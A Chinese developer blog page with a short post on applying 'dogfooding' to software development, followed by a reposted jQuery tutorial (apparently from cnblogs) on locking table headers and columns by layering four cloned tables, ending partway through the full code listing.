[原创]狗粮开发模式

mikel阅读(948)

最近在读《观止》里面又说道微软在开发NT操作系统的时候,开发最后采用了“吃自己做的狗粮”的开发方法,也就是在自己开发的NT操作系统上继续开发NT,同时修复使用中的Bug。

看到这儿突然冒出个想法,我们平时开发程序为什么不能采用这样的开发方式,现在的敏捷开发只不过是先出雏形,然后迭代的添加功能、交付功能给用户使用,为什么我们不能吃自己做的狗粮,然后迭代的开发程序呢?!

分析这种开发模式需要做的几点要求:

1、快速开发出基本功能:

先利用敏捷方式开发出一个原型,并定义一种脚本语言,这种脚本语言类似JavaScript、ActionScript

2、使用开发原型然后利用脚本语言进行接下来的开发功能

3、Bug管理系统的辅助

4、版本的控制管理

[转载]锁定表头和固定列(Fixed table head and columns)

mikel阅读(953)

[转载]锁定表头和固定列(Fixed table head and columns) – ☆磊☆ – 博客园.

前段时间需要这个功能,但是找了很多都不能完美的实现,不是只能锁定表头,就是浏览器兼容问题什么的,在此就自己做了一个锁定表头和列的js方法,依赖于JQuery

因为方法很简单,就未封装成插件的形式,仅仅以代码方式发布。这里把自己做的方式写出来,以资纪念。

支持IE6+,FF3.6+,Opera9+,Chrome9+

一、实现方式

这里的准备使用4个table实现,具体如下图:

image

上图红色部分为要取出来的部分,蓝色部分为拼接后可以看到的部分。最终结果如下图

image

实现后效果:

姓名 班级 成绩
主科 文科 理科 总分
语文 数学 英语 政治 历史 地理 物理 化学 生物
学生1 班级3 64 104 150 93 32 82 26 44 83 678
学生2 班级2 120 66 150 85 5 50 72 32 90 670
学生3 班级2 133 61 49 97 67 13 64 8 60 552
学生4 班级3 7 136 105 86 56 11 98 29 18 546
学生5 班级2 129 146 62 64 67 1 70 57 16 612
学生6 班级2 45 29 51 91 9 2 37 3 26 293
学生7 班级1 28 25 127 96 43 90 75 13 28 525
学生8 班级3 78 64 20 29 70 92 100 69 30 552
学生9 班级2 65 10 139 19 57 86 57 79 76 588
学生10 班级2 113 142 4 100 41 69 12 45 20 546
学生11 班级3 41 84 42 23 89 88 6 4 21 398
学生12 班级1 4 102 111 61 76 12 25 66 39 496
学生13 班级2 49 144 56 75 18 58 39 13 88 540
学生14 班级1 119 81 73 53 37 88 79 69 30 629
学生15 班级3 120 78 86 58 50 7 20 42 24 485
学生16 班级1 65 71 9 64 45 31 18 53 5 361
学生17 班级1 72 139 24 20 39 49 19 21 23 406
学生18 班级3 50 84 53 70 77 81 38 80 25 558
学生19 班级1 56 147 134 59 57 31 48 86 7 625
学生20 班级1 103 38 96 100 21 88 36 37 18 537
学生21 班级1 133 150 28 37 96 88 12 36 87 667
学生22 班级2 140 59 42 95 94 50 3 58 63 604
学生23 班级1 2 51 19 17 19 7 93 35 49 292
学生24 班级3 67 2 91 23 22 37 79 52 63 436
学生25 班级3 29 17 149 44 13 29 98 70 6 455
学生26 班级3 126 117 112 11 100 55 87 1 18 627
学生27 班级3 144 115 131 97 19 92 79 4 72 753
学生28 班级2 107 77 143 94 89 90 35 70 3 708
学生29 班级3 14 33 44 78 5 67 27 49 23 340
学生30 班级3 77 117 51 75 74 43 25 2 24 488
学生31 班级1 76 140 148 50 100 33 83 81 23 734
学生32 班级1 29 25 146 28 79 73 47 8 91 526
学生33 班级2 96 44 121 3 4 94 17 20 19 418
学生34 班级2 97 48 68 82 39 16 24 79 79 532
学生35 班级3 126 69 40 13 48 34 81 5 97 513
学生36 班级1 144 24 18 71 58 21 12 95 45 488
学生37 班级1 23 94 93 78 46 88 72 15 90 599
学生38 班级2 73 103 45 17 69 18 3 67 55 450
学生39 班级3 19 16 36 18 50 48 19 75 24 305
学生40 班级1 6 44 50 73 58 21 84 49 68 453
学生41 班级2 94 98 24 34 52 27 87 95 1 512
学生42 班级2 27 68 60 75 93 4 38 44 27 436
学生43 班级3 102 146 138 72 58 19 34 57 60 686
学生44 班级2 51 81 150 95 8 48 96 90 66 685
学生45 班级1 93 37 109 84 100 59 90 59 81 712
学生46 班级2 125 60 32 70 93 65 74 44 77 640
学生47 班级1 139 45 52 54 6 64 46 45 66 517
学生48 班级2 14 73 118 4 36 43 24 8 73 393
学生49 班级3 45 114 114 6 65 94 32 30 1 501
学生50 班级2 112 77 19 33 30 32 90 18 77 488
学生51 班级2 19 66 140 36 44 34 62 17 34 452
学生52 班级2 61 98 107 78 2 17 54 28 89 534
学生53 班级1 48 23 65 23 70 58 36 45 75 443
学生54 班级1 81 9 46 37 86 87 83 39 63 531
学生55 班级1 48 23 145 53 2 9 80 35 31 426
学生56 班级1 117 92 44 65 3 98 0 70 67 556
学生57 班级3 148 25 63 29 96 34 34 34 92 555
学生58 班级1 51 22 97 58 80 16 19 91 20 454
学生59 班级2 118 1 20 62 26 93 77 66 34 497
学生60 班级3 129 19 109 78 33 15 74 67 58 582
学生61 班级3 112 68 65 15 79 63 97 72 85 656
学生62 班级3 117 14 73 6 6 98 3 81 2 400
学生63 班级1 87 103 0 2 30 21 43 87 25 398
学生64 班级2 65 79 49 53 86 33 57 99 83 604
学生65 班级2 144 7 122 47 11 76 64 66 71 608
学生66 班级2 18 140 96 54 10 6 45 41 85 495
学生67 班级2 30 14 70 20 44 25 77 97 20 397
学生68 班级3 60 7 147 38 7 53 88 54 92 546
学生69 班级2 86 115 23 90 52 50 89 79 42 626
学生70 班级3 132 25 21 25 44 86 58 61 3 455
学生71 班级3 149 102 68 98 96 7 95 25 47 687
学生72 班级2 28 138 74 30 0 43 95 57 68 533
学生73 班级3 54 148 81 40 86 23 91 73 95 691
学生74 班级1 143 39 76 5 55 90 31 18 95 552
学生75 班级2 83 95 48 86 61 97 68 84 24 646
学生76 班级1 138 1 141 9 50 1 14 5 11 370
学生77 班级3 25 33 46 25 62 93 41 43 75 443
学生78 班级1 18 114 93 22 38 73 66 69 79 572
学生79 班级3 84 10 72 94 30 95 32 41 56 514
学生80 班级2 113 39 10 23 28 33 32 7 23 308
学生81 班级3 83 36 13 13 89 15 39 71 72 431
学生82 班级3 52 68 39 22 16 9 75 37 95 413
学生83 班级3 90 0 132 20 36 86 69 39 95 567
学生84 班级1 61 89 67 10 33 31 99 34 4 428
学生85 班级1 83 93 105 79 19 30 0 84 7 500
学生86 班级1 88 143 19 56 9 56 36 89 77 573
学生87 班级1 70 0 115 66 36 76 0 16 89 468
学生88 班级3 17 60 49 80 12 99 30 8 1 356
学生89 班级1 129 128 48 76 47 46 46 89 1 610
学生90 班级3 143 14 86 1 69 55 85 3 43 499
学生91 班级2 44 127 143 22 7 18 62 33 44 500
学生92 班级1 37 41 130 71 17 61 68 1 19 445
学生93 班级3 45 17 22 10 90 1 83 31 11 310
学生94 班级2 19 40 99 59 77 1 90 9 68 462
学生95 班级1 126 19 68 91 53 68 23 87 85 620
学生96 班级1 131 126 126 53 13 18 70 85 33 655
学生97 班级1 53 47 33 87 98 98 62 28 95 601
学生98 班级1 107 88 49 91 6 17 66 24 58 506
学生99 班级1 118 145 69 4 70 29 43 13 45 536
学生100 班级2 48 8 115 63 93 53 91 59 93 623
姓名 班级 成绩
主科 文科 理科 总分
语文 数学 英语 政治 历史 地理 物理 化学 生物
学生1 班级3 64 104 150 93 32 82 26 44 83 678
学生2 班级2 120 66 150 85 5 50 72 32 90 670
学生3 班级2 133 61 49 97 67 13 64 8 60 552
学生4 班级3 7 136 105 86 56 11 98 29 18 546
学生5 班级2 129 146 62 64 67 1 70 57 16 612
学生6 班级2 45 29 51 91 9 2 37 3 26 293
学生7 班级1 28 25 127 96 43 90 75 13 28 525
学生8 班级3 78 64 20 29 70 92 100 69 30 552
学生9 班级2 65 10 139 19 57 86 57 79 76 588
学生10 班级2 113 142 4 100 41 69 12 45 20 546
学生11 班级3 41 84 42 23 89 88 6 4 21 398
学生12 班级1 4 102 111 61 76 12 25 66 39 496
学生13 班级2 49 144 56 75 18 58 39 13 88 540
学生14 班级1 119 81 73 53 37 88 79 69 30 629
学生15 班级3 120 78 86 58 50 7 20 42 24 485
学生16 班级1 65 71 9 64 45 31 18 53 5 361
学生17 班级1 72 139 24 20 39 49 19 21 23 406
学生18 班级3 50 84 53 70 77 81 38 80 25 558
学生19 班级1 56 147 134 59 57 31 48 86 7 625
学生20 班级1 103 38 96 100 21 88 36 37 18 537
学生21 班级1 133 150 28 37 96 88 12 36 87 667
学生22 班级2 140 59 42 95 94 50 3 58 63 604
学生23 班级1 2 51 19 17 19 7 93 35 49 292
学生24 班级3 67 2 91 23 22 37 79 52 63 436
学生25 班级3 29 17 149 44 13 29 98 70 6 455
学生26 班级3 126 117 112 11 100 55 87 1 18 627
学生27 班级3 144 115 131 97 19 92 79 4 72 753
学生28 班级2 107 77 143 94 89 90 35 70 3 708
学生29 班级3 14 33 44 78 5 67 27 49 23 340
学生30 班级3 77 117 51 75 74 43 25 2 24 488
学生31 班级1 76 140 148 50 100 33 83 81 23 734
学生32 班级1 29 25 146 28 79 73 47 8 91 526
学生33 班级2 96 44 121 3 4 94 17 20 19 418
学生34 班级2 97 48 68 82 39 16 24 79 79 532
学生35 班级3 126 69 40 13 48 34 81 5 97 513
学生36 班级1 144 24 18 71 58 21 12 95 45 488
学生37 班级1 23 94 93 78 46 88 72 15 90 599
学生38 班级2 73 103 45 17 69 18 3 67 55 450
学生39 班级3 19 16 36 18 50 48 19 75 24 305
学生40 班级1 6 44 50 73 58 21 84 49 68 453
学生41 班级2 94 98 24 34 52 27 87 95 1 512
学生42 班级2 27 68 60 75 93 4 38 44 27 436
学生43 班级3 102 146 138 72 58 19 34 57 60 686
学生44 班级2 51 81 150 95 8 48 96 90 66 685
学生45 班级1 93 37 109 84 100 59 90 59 81 712
学生46 班级2 125 60 32 70 93 65 74 44 77 640
学生47 班级1 139 45 52 54 6 64 46 45 66 517
学生48 班级2 14 73 118 4 36 43 24 8 73 393
学生49 班级3 45 114 114 6 65 94 32 30 1 501
学生50 班级2 112 77 19 33 30 32 90 18 77 488
学生51 班级2 19 66 140 36 44 34 62 17 34 452
学生52 班级2 61 98 107 78 2 17 54 28 89 534
学生53 班级1 48 23 65 23 70 58 36 45 75 443
学生54 班级1 81 9 46 37 86 87 83 39 63 531
学生55 班级1 48 23 145 53 2 9 80 35 31 426
学生56 班级1 117 92 44 65 3 98 0 70 67 556
学生57 班级3 148 25 63 29 96 34 34 34 92 555
学生58 班级1 51 22 97 58 80 16 19 91 20 454
学生59 班级2 118 1 20 62 26 93 77 66 34 497
学生60 班级3 129 19 109 78 33 15 74 67 58 582
学生61 班级3 112 68 65 15 79 63 97 72 85 656
学生62 班级3 117 14 73 6 6 98 3 81 2 400
学生63 班级1 87 103 0 2 30 21 43 87 25 398
学生64 班级2 65 79 49 53 86 33 57 99 83 604
学生65 班级2 144 7 122 47 11 76 64 66 71 608
学生66 班级2 18 140 96 54 10 6 45 41 85 495
学生67 班级2 30 14 70 20 44 25 77 97 20 397
学生68 班级3 60 7 147 38 7 53 88 54 92 546
学生69 班级2 86 115 23 90 52 50 89 79 42 626
学生70 班级3 132 25 21 25 44 86 58 61 3 455
学生71 班级3 149 102 68 98 96 7 95 25 47 687
学生72 班级2 28 138 74 30 0 43 95 57 68 533
学生73 班级3 54 148 81 40 86 23 91 73 95 691
学生74 班级1 143 39 76 5 55 90 31 18 95 552
学生75 班级2 83 95 48 86 61 97 68 84 24 646
学生76 班级1 138 1 141 9 50 1 14 5 11 370
学生77 班级3 25 33 46 25 62 93 41 43 75 443
学生78 班级1 18 114 93 22 38 73 66 69 79 572
学生79 班级3 84 10 72 94 30 95 32 41 56 514
学生80 班级2 113 39 10 23 28 33 32 7 23 308
学生81 班级3 83 36 13 13 89 15 39 71 72 431
学生82 班级3 52 68 39 22 16 9 75 37 95 413
学生83 班级3 90 0 132 20 36 86 69 39 95 567
学生84 班级1 61 89 67 10 33 31 99 34 4 428
学生85 班级1 83 93 105 79 19 30 0 84 7 500
学生86 班级1 88 143 19 56 9 56 36 89 77 573
学生87 班级1 70 0 115 66 36 76 0 16 89 468
学生88 班级3 17 60 49 80 12 99 30 8 1 356
学生89 班级1 129 128 48 76 47 46 46 89 1 610
学生90 班级3 143 14 86 1 69 55 85 3 43 499
学生91 班级2 44 127 143 22 7 18 62 33 44 500
学生92 班级1 37 41 130 71 17 61 68 1 19 445
学生93 班级3 45 17 22 10 90 1 83 31 11 310
学生94 班级2 19 40 99 59 77 1 90 9 68 462
学生95 班级1 126 19 68 91 53 68 23 87 85 620
学生96 班级1 131 126 126 53 13 18 70 85 33 655
学生97 班级1 53 47 33 87 98 98 62 28 95 601
学生98 班级1 107 88 49 91 6 17 66 24 58 506
学生99 班级1 118 145 69 4 70 29 43 13 45 536
学生100 班级2 48 8 115 63 93 53 91 59 93 623
姓名 班级 成绩
主科 文科 理科 总分
语文 数学 英语 政治 历史 地理 物理 化学 生物
学生1 班级3 64 104 150 93 32 82 26 44 83 678
学生2 班级2 120 66 150 85 5 50 72 32 90 670
学生3 班级2 133 61 49 97 67 13 64 8 60 552
学生4 班级3 7 136 105 86 56 11 98 29 18 546
学生5 班级2 129 146 62 64 67 1 70 57 16 612
学生6 班级2 45 29 51 91 9 2 37 3 26 293
学生7 班级1 28 25 127 96 43 90 75 13 28 525
学生8 班级3 78 64 20 29 70 92 100 69 30 552
学生9 班级2 65 10 139 19 57 86 57 79 76 588
学生10 班级2 113 142 4 100 41 69 12 45 20 546
学生11 班级3 41 84 42 23 89 88 6 4 21 398
学生12 班级1 4 102 111 61 76 12 25 66 39 496
学生13 班级2 49 144 56 75 18 58 39 13 88 540
学生14 班级1 119 81 73 53 37 88 79 69 30 629
学生15 班级3 120 78 86 58 50 7 20 42 24 485
学生16 班级1 65 71 9 64 45 31 18 53 5 361
学生17 班级1 72 139 24 20 39 49 19 21 23 406
学生18 班级3 50 84 53 70 77 81 38 80 25 558
学生19 班级1 56 147 134 59 57 31 48 86 7 625
学生20 班级1 103 38 96 100 21 88 36 37 18 537
学生21 班级1 133 150 28 37 96 88 12 36 87 667
学生22 班级2 140 59 42 95 94 50 3 58 63 604
学生23 班级1 2 51 19 17 19 7 93 35 49 292
学生24 班级3 67 2 91 23 22 37 79 52 63 436
学生25 班级3 29 17 149 44 13 29 98 70 6 455
学生26 班级3 126 117 112 11 100 55 87 1 18 627
学生27 班级3 144 115 131 97 19 92 79 4 72 753
学生28 班级2 107 77 143 94 89 90 35 70 3 708
学生29 班级3 14 33 44 78 5 67 27 49 23 340
学生30 班级3 77 117 51 75 74 43 25 2 24 488
学生31 班级1 76 140 148 50 100 33 83 81 23 734
学生32 班级1 29 25 146 28 79 73 47 8 91 526
学生33 班级2 96 44 121 3 4 94 17 20 19 418
学生34 班级2 97 48 68 82 39 16 24 79 79 532
学生35 班级3 126 69 40 13 48 34 81 5 97 513
学生36 班级1 144 24 18 71 58 21 12 95 45 488
学生37 班级1 23 94 93 78 46 88 72 15 90 599
学生38 班级2 73 103 45 17 69 18 3 67 55 450
学生39 班级3 19 16 36 18 50 48 19 75 24 305
学生40 班级1 6 44 50 73 58 21 84 49 68 453
学生41 班级2 94 98 24 34 52 27 87 95 1 512
学生42 班级2 27 68 60 75 93 4 38 44 27 436
学生43 班级3 102 146 138 72 58 19 34 57 60 686
学生44 班级2 51 81 150 95 8 48 96 90 66 685
学生45 班级1 93 37 109 84 100 59 90 59 81 712
学生46 班级2 125 60 32 70 93 65 74 44 77 640
学生47 班级1 139 45 52 54 6 64 46 45 66 517
学生48 班级2 14 73 118 4 36 43 24 8 73 393
学生49 班级3 45 114 114 6 65 94 32 30 1 501
学生50 班级2 112 77 19 33 30 32 90 18 77 488
学生51 班级2 19 66 140 36 44 34 62 17 34 452
学生52 班级2 61 98 107 78 2 17 54 28 89 534
学生53 班级1 48 23 65 23 70 58 36 45 75 443
学生54 班级1 81 9 46 37 86 87 83 39 63 531
学生55 班级1 48 23 145 53 2 9 80 35 31 426
学生56 班级1 117 92 44 65 3 98 0 70 67 556
学生57 班级3 148 25 63 29 96 34 34 34 92 555
学生58 班级1 51 22 97 58 80 16 19 91 20 454
学生59 班级2 118 1 20 62 26 93 77 66 34 497
学生60 班级3 129 19 109 78 33 15 74 67 58 582
学生61 班级3 112 68 65 15 79 63 97 72 85 656
学生62 班级3 117 14 73 6 6 98 3 81 2 400
学生63 班级1 87 103 0 2 30 21 43 87 25 398
学生64 班级2 65 79 49 53 86 33 57 99 83 604
学生65 班级2 144 7 122 47 11 76 64 66 71 608
学生66 班级2 18 140 96 54 10 6 45 41 85 495
学生67 班级2 30 14 70 20 44 25 77 97 20 397
学生68 班级3 60 7 147 38 7 53 88 54 92 546
学生69 班级2 86 115 23 90 52 50 89 79 42 626
学生70 班级3 132 25 21 25 44 86 58 61 3 455
学生71 班级3 149 102 68 98 96 7 95 25 47 687
学生72 班级2 28 138 74 30 0 43 95 57 68 533
学生73 班级3 54 148 81 40 86 23 91 73 95 691
学生74 班级1 143 39 76 5 55 90 31 18 95 552
学生75 班级2 83 95 48 86 61 97 68 84 24 646
学生76 班级1 138 1 141 9 50 1 14 5 11 370
学生77 班级3 25 33 46 25 62 93 41 43 75 443
学生78 班级1 18 114 93 22 38 73 66 69 79 572
学生79 班级3 84 10 72 94 30 95 32 41 56 514
学生80 班级2 113 39 10 23 28 33 32 7 23 308
学生81 班级3 83 36 13 13 89 15 39 71 72 431
学生82 班级3 52 68 39 22 16 9 75 37 95 413
学生83 班级3 90 0 132 20 36 86 69 39 95 567
学生84 班级1 61 89 67 10 33 31 99 34 4 428
学生85 班级1 83 93 105 79 19 30 0 84 7 500
学生86 班级1 88 143 19 56 9 56 36 89 77 573
学生87 班级1 70 0 115 66 36 76 0 16 89 468
学生88 班级3 17 60 49 80 12 99 30 8 1 356
学生89 班级1 129 128 48 76 47 46 46 89 1 610
学生90 班级3 143 14 86 1 69 55 85 3 43 499
学生91 班级2 44 127 143 22 7 18 62 33 44 500
学生92 班级1 37 41 130 71 17 61 68 1 19 445
学生93 班级3 45 17 22 10 90 1 83 31 11 310
学生94 班级2 19 40 99 59 77 1 90 9 68 462
学生95 班级1 126 19 68 91 53 68 23 87 85 620
学生96 班级1 131 126 126 53 13 18 70 85 33 655
学生97 班级1 53 47 33 87 98 98 62 28 95 601
学生98 班级1 107 88 49 91 6 17 66 24 58 506
学生99 班级1 118 145 69 4 70 29 43 13 45 536
学生100 班级2 48 8 115 63 93 53 91 59 93 623
姓名 班级 成绩
主科 文科 理科 总分
语文 数学 英语 政治 历史 地理 物理 化学 生物
学生1 班级3 64 104 150 93 32 82 26 44 83 678
学生2 班级2 120 66 150 85 5 50 72 32 90 670
学生3 班级2 133 61 49 97 67 13 64 8 60 552
学生4 班级3 7 136 105 86 56 11 98 29 18 546
学生5 班级2 129 146 62 64 67 1 70 57 16 612
学生6 班级2 45 29 51 91 9 2 37 3 26 293
学生7 班级1 28 25 127 96 43 90 75 13 28 525
学生8 班级3 78 64 20 29 70 92 100 69 30 552
学生9 班级2 65 10 139 19 57 86 57 79 76 588
学生10 班级2 113 142 4 100 41 69 12 45 20 546
学生11 班级3 41 84 42 23 89 88 6 4 21 398
学生12 班级1 4 102 111 61 76 12 25 66 39 496
学生13 班级2 49 144 56 75 18 58 39 13 88 540
学生14 班级1 119 81 73 53 37 88 79 69 30 629
学生15 班级3 120 78 86 58 50 7 20 42 24 485
学生16 班级1 65 71 9 64 45 31 18 53 5 361
学生17 班级1 72 139 24 20 39 49 19 21 23 406
学生18 班级3 50 84 53 70 77 81 38 80 25 558
学生19 班级1 56 147 134 59 57 31 48 86 7 625
学生20 班级1 103 38 96 100 21 88 36 37 18 537
学生21 班级1 133 150 28 37 96 88 12 36 87 667
学生22 班级2 140 59 42 95 94 50 3 58 63 604
学生23 班级1 2 51 19 17 19 7 93 35 49 292
学生24 班级3 67 2 91 23 22 37 79 52 63 436
学生25 班级3 29 17 149 44 13 29 98 70 6 455
学生26 班级3 126 117 112 11 100 55 87 1 18 627
学生27 班级3 144 115 131 97 19 92 79 4 72 753
学生28 班级2 107 77 143 94 89 90 35 70 3 708
学生29 班级3 14 33 44 78 5 67 27 49 23 340
学生30 班级3 77 117 51 75 74 43 25 2 24 488
学生31 班级1 76 140 148 50 100 33 83 81 23 734
学生32 班级1 29 25 146 28 79 73 47 8 91 526
学生33 班级2 96 44 121 3 4 94 17 20 19 418
学生34 班级2 97 48 68 82 39 16 24 79 79 532
学生35 班级3 126 69 40 13 48 34 81 5 97 513
学生36 班级1 144 24 18 71 58 21 12 95 45 488
学生37 班级1 23 94 93 78 46 88 72 15 90 599
学生38 班级2 73 103 45 17 69 18 3 67 55 450
学生39 班级3 19 16 36 18 50 48 19 75 24 305
学生40 班级1 6 44 50 73 58 21 84 49 68 453
学生41 班级2 94 98 24 34 52 27 87 95 1 512
学生42 班级2 27 68 60 75 93 4 38 44 27 436
学生43 班级3 102 146 138 72 58 19 34 57 60 686
学生44 班级2 51 81 150 95 8 48 96 90 66 685
学生45 班级1 93 37 109 84 100 59 90 59 81 712
学生46 班级2 125 60 32 70 93 65 74 44 77 640
学生47 班级1 139 45 52 54 6 64 46 45 66 517
学生48 班级2 14 73 118 4 36 43 24 8 73 393
学生49 班级3 45 114 114 6 65 94 32 30 1 501
学生50 班级2 112 77 19 33 30 32 90 18 77 488
学生51 班级2 19 66 140 36 44 34 62 17 34 452
学生52 班级2 61 98 107 78 2 17 54 28 89 534
学生53 班级1 48 23 65 23 70 58 36 45 75 443
学生54 班级1 81 9 46 37 86 87 83 39 63 531
学生55 班级1 48 23 145 53 2 9 80 35 31 426
学生56 班级1 117 92 44 65 3 98 0 70 67 556
学生57 班级3 148 25 63 29 96 34 34 34 92 555
学生58 班级1 51 22 97 58 80 16 19 91 20 454
学生59 班级2 118 1 20 62 26 93 77 66 34 497
学生60 班级3 129 19 109 78 33 15 74 67 58 582
学生61 班级3 112 68 65 15 79 63 97 72 85 656
学生62 班级3 117 14 73 6 6 98 3 81 2 400
学生63 班级1 87 103 0 2 30 21 43 87 25 398
学生64 班级2 65 79 49 53 86 33 57 99 83 604
学生65 班级2 144 7 122 47 11 76 64 66 71 608
学生66 班级2 18 140 96 54 10 6 45 41 85 495
学生67 班级2 30 14 70 20 44 25 77 97 20 397
学生68 班级3 60 7 147 38 7 53 88 54 92 546
学生69 班级2 86 115 23 90 52 50 89 79 42 626
学生70 班级3 132 25 21 25 44 86 58 61 3 455
学生71 班级3 149 102 68 98 96 7 95 25 47 687
学生72 班级2 28 138 74 30 0 43 95 57 68 533
学生73 班级3 54 148 81 40 86 23 91 73 95 691
学生74 班级1 143 39 76 5 55 90 31 18 95 552
学生75 班级2 83 95 48 86 61 97 68 84 24 646
学生76 班级1 138 1 141 9 50 1 14 5 11 370
学生77 班级3 25 33 46 25 62 93 41 43 75 443
学生78 班级1 18 114 93 22 38 73 66 69 79 572
学生79 班级3 84 10 72 94 30 95 32 41 56 514
学生80 班级2 113 39 10 23 28 33 32 7 23 308
学生81 班级3 83 36 13 13 89 15 39 71 72 431
学生82 班级3 52 68 39 22 16 9 75 37 95 413
学生83 班级3 90 0 132 20 36 86 69 39 95 567
学生84 班级1 61 89 67 10 33 31 99 34 4 428
学生85 班级1 83 93 105 79 19 30 0 84 7 500
学生86 班级1 88 143 19 56 9 56 36 89 77 573
学生87 班级1 70 0 115 66 36 76 0 16 89 468
学生88 班级3 17 60 49 80 12 99 30 8 1 356
学生89 班级1 129 128 48 76 47 46 46 89 1 610
学生90 班级3 143 14 86 1 69 55 85 3 43 499
学生91 班级2 44 127 143 22 7 18 62 33 44 500
学生92 班级1 37 41 130 71 17 61 68 1 19 445
学生93 班级3 45 17 22 10 90 1 83 31 11 310
学生94 班级2 19 40 99 59 77 1 90 9 68 462
学生95 班级1 126 19 68 91 53 68 23 87 85 620
学生96 班级1 131 126 126 53 13 18 70 85 33 655
学生97 班级1 53 47 33 87 98 98 62 28 95 601
学生98 班级1 107 88 49 91 6 17 66 24 58 506
学生99 班级1 118 145 69 4 70 29 43 13 45 536
学生100 班级2 48 8 115 63 93 53 91 59 93 623

二、整体的框架

1、最下面的是原始的Table。

2、用左边的table覆盖在上层,命名为tableColumn。

3、用上部的table覆盖在更上层,命名为tableHead。

4、在左上角覆盖固定不动的table,命名为tableFix。

自然在各自的外层都要用div框起来,以便后面的浮动和覆盖等等,所以结构的html如下:

<div id="MyTable_tableLayout">
	<div id="MyTable_tableFix">
		<table id="MyTable_tableFixClone" border="1" cellspacing="0" cellpadding="0"></table>
	</div>
	<div id="MyTable_tableHead">
		<table id="MyTable_tableHeadClone" border="1" cellspacing="0" cellpadding="0"></table>
	</div>
	<div id="MyTable_tableColumn">
		<table id="MyTable_tableColumnClone" border="1" cellspacing="0" cellpadding="0"></table>
	</div>
	<div id="MyTable_tableData">
		<table id="MyTable" border="1" cellspacing="0" cellpadding="0"></table>
	</div>
</div>

三、代码实现

整体框架结构出来后,下面要做的就是确定每个区域的高度,宽度,定位就算完成了。

首先确定下调用接口,调用时已经有table了,我们希望很简单的一行js即可高定,就用了一个方法实现。由于使用项目中table线宽全部都是1,所以未考虑其他线宽问题。

function FixTable(TableID, FixColumnNumber, width, height)

第一个参数:table的ID,第二个参数:要锁定的列数目,第三个参数:显示的宽度,第四个参数:显示的高度。

(一)首先创建上面所诉的框架出来:

			if ($("#" + TableID + "_tableLayout").length != 0) {
				$("#" + TableID + "_tableLayout").before($("#" + TableID));
				$("#" + TableID + "_tableLayout").empty();
			}
			else {
				$("#" + TableID).after("<div id='" + TableID + "_tableLayout' style='overflow:hidden;height:" + height + "px; width:" + width + "px;'></div>");
			}
 
			$('<div id="' + TableID + '_tableFix"></div>'
			+ '<div id="' + TableID + '_tableHead"></div>'
			+ '<div id="' + TableID + '_tableColumn"></div>'
			+ '<div id="' + TableID + '_tableData"></div>').appendTo("#" + TableID + "_tableLayout");
 
 
			var oldtable = $("#" + TableID);
 
			var tableFixClone = oldtable.clone(true);
			tableFixClone.attr("id", TableID + "_tableFixClone");
			$("#" + TableID + "_tableFix").append(tableFixClone);
			var tableHeadClone = oldtable.clone(true);
			tableHeadClone.attr("id", TableID + "_tableHeadClone");
			$("#" + TableID + "_tableHead").append(tableHeadClone);
			var tableColumnClone = oldtable.clone(true);
			tableColumnClone.attr("id", TableID + "_tableColumnClone");
			$("#" + TableID + "_tableColumn").append(tableColumnClone);
			$("#" + TableID + "_tableData").append(oldtable);
 
			$("#" + TableID + "_tableLayout table").each(function () {
				$(this).css("margin", "0");
			});

(二)计算tableFix,tableHead的高度:

			var HeadHeight = $("#" + TableID + "_tableHead thead").height();
			HeadHeight += 2;
			$("#" + TableID + "_tableHead").css("height", HeadHeight);
			$("#" + TableID + "_tableFix").css("height", HeadHeight);

(三)计算tableFix,tableColumn的宽度:

			var ColumnsWidth = 0;
			var ColumnsNumber = 0;
			$("#" + TableID + "_tableColumn tr:last td:lt(" + FixColumnNumber + ")").each(function () {
				ColumnsWidth += $(this).outerWidth(true);
				ColumnsNumber++;
			});
			ColumnsWidth += 2;
			if ($.browser.msie) {
				switch ($.browser.version) {
					case "7.0":
						if (ColumnsNumber >= 3) ColumnsWidth--;
						break;
					case "8.0":
						if (ColumnsNumber >= 2) ColumnsWidth--;
						break;
				}
			}
			$("#" + TableID + "_tableColumn").css("width", ColumnsWidth);
			$("#" + TableID + "_tableFix").css("width", ColumnsWidth);

(四)为tableHead和tableColumn添加联动的滚动条事件:

			$("#" + TableID + "_tableData").scroll(function () {
				$("#" + TableID + "_tableHead").scrollLeft($("#" + TableID + "_tableData").scrollLeft());
				$("#" + TableID + "_tableColumn").scrollTop($("#" + TableID + "_tableData").scrollTop());
			});

(五)为整体添加样式,定位:

			$("#" + TableID + "_tableFix").css({ "overflow": "hidden", "position": "relative", "z-index": "50", "background-color": "Silver" });
			$("#" + TableID + "_tableHead").css({ "overflow": "hidden", "width": width - 17, "position": "relative", "z-index": "45", "background-color": "Silver" });
			$("#" + TableID + "_tableColumn").css({ "overflow": "hidden", "height": height - 17, "position": "relative", "z-index": "40", "background-color": "Silver" });
			$("#" + TableID + "_tableData").css({ "overflow": "scroll", "width": width, "height": height, "position": "relative", "z-index": "35" });
 
			$("#" + TableID + "_tableFix").offset($("#" + TableID + "_tableLayout").offset());
			$("#" + TableID + "_tableHead").offset($("#" + TableID + "_tableLayout").offset());
			$("#" + TableID + "_tableColumn").offset($("#" + TableID + "_tableLayout").offset());
			$("#" + TableID + "_tableData").offset($("#" + TableID + "_tableLayout").offset());

(六)为较小的table修正样式:

			if ($("#" + TableID + "_tableHead").width() > $("#" + TableID + "_tableFix table").width()) {
				$("#" + TableID + "_tableHead").css("width", $("#" + TableID + "_tableFix table").width());
				$("#" + TableID + "_tableData").css("width", $("#" + TableID + "_tableFix table").width() + 17);
			}
			if ($("#" + TableID + "_tableColumn").height() > $("#" + TableID + "_tableColumn table").height()) {
				$("#" + TableID + "_tableColumn").css("height", $("#" + TableID + "_tableColumn table").height());
				$("#" + TableID + "_tableData").css("height", $("#" + TableID + "_tableFix table").height() + 17);
			}

完整代码如下:

function FixTable(TableID, FixColumnNumber, width, height) {
	/// <summary>
	///     锁定表头和列
	///     <para> sorex.cnblogs.com </para>
	/// </summary>
	/// <param name="TableID" type="String">
	///     要锁定的Table的ID
	/// </param>
	/// <param name="FixColumnNumber" type="Number">
	///     要锁定列的个数
	/// </param>
	/// <param name="width" type="Number">
	///     显示的宽度
	/// </param>
	/// <param name="height" type="Number">
	///     显示的高度
	/// </param>
	if ($("#" + TableID + "_tableLayout").length != 0) {
		$("#" + TableID + "_tableLayout").before($("#" + TableID));
		$("#" + TableID + "_tableLayout").empty();
	}
	else {
		$("#" + TableID).after("<div id='" + TableID + "_tableLayout' style='overflow:hidden;height:" + height + "px; width:" + width + "px;'></div>");
	}

	$('<div id="' + TableID + '_tableFix"></div>'
